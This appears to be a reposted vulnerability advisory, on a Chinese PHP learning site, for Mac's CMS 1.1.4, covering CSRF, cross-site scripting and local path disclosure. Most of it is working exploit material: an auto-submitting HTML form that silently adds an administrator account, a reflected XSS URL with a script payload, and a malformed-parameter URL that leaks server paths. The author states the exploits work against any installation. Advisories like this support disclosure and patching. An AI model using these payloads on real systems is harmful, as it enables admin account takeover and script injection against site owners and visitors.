来源：自学PHP网 时间：2015-04-17 10:15 作者： 阅读:次
[导读] ############# 标题: Mac#39;s CMS - Multiple vilnerabilities# 作者: Yashar shahinzadeh# 开发者网站: http://macs-framework.sourceforge.net/# 测试环境: Linux Windows, PHP 5.3.4# ......
############ # 标题: Mac's CMS - Multiple vilnerabilities # 作者: Yashar shahinzadeh # 开发者网站: http://macs-framework.sourceforge.net/ # 测试环境: Linux & Windows, PHP 5.3.4 # 影响版本: 1.1.4 ################### 摘要: ======== 1. CSRF - Adding/Editing administrator account 2. Cross site scripting 3. Local path disclosure 1. CSRF - 添加修改管理员账户 =============================================== Following exploits can be used against any site installed "Mac's CMS", after a successful attack a text containing "User: yashar was added successfully. Click Here to update your view" will be appeared. I only illustrate the adding user, editing is similar. <html> <body onload="submitForm()"> <form name="myForm" id="myForm" action="http:// www.2cto.com /index.php/main/cms/saveUser" method="post"> <input type="hidden" name="ajaxRequest" value="true"> <input type="hidden" name="username" value="yashar"> <input type="hidden" name="password" value="yashar"> <input type="hidden" name="confirmPassword" value="yashar"> <input type="hidden" name="emailAddress" value="y.shahinzadeh@gmail.com"> <input type="hidden" name="roleId" value="1"> </form> <script type='text/javascript'>document.myForm.submit();</script> </html> 2. Cross site scripting: ======================== There are too many XSS (Reflected and stored) in this CMS, I will provide an live example: http://server/libs/standalone/whois/example.php/%22%3E%3Cscript%3Ealert%28%27123%27%29%3C/script%3E 3. 本地文件泄露: ========================= There are some pages that are big leads to knowing local path, the path is valuable and can be used in Injection and... I would give an instance only: http://server/index.php/main/cms/getComments/?controller=main&function=index&pageIndex[$test]=1&paginationKey=comments /** Yasshar shahinzadeh **/
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
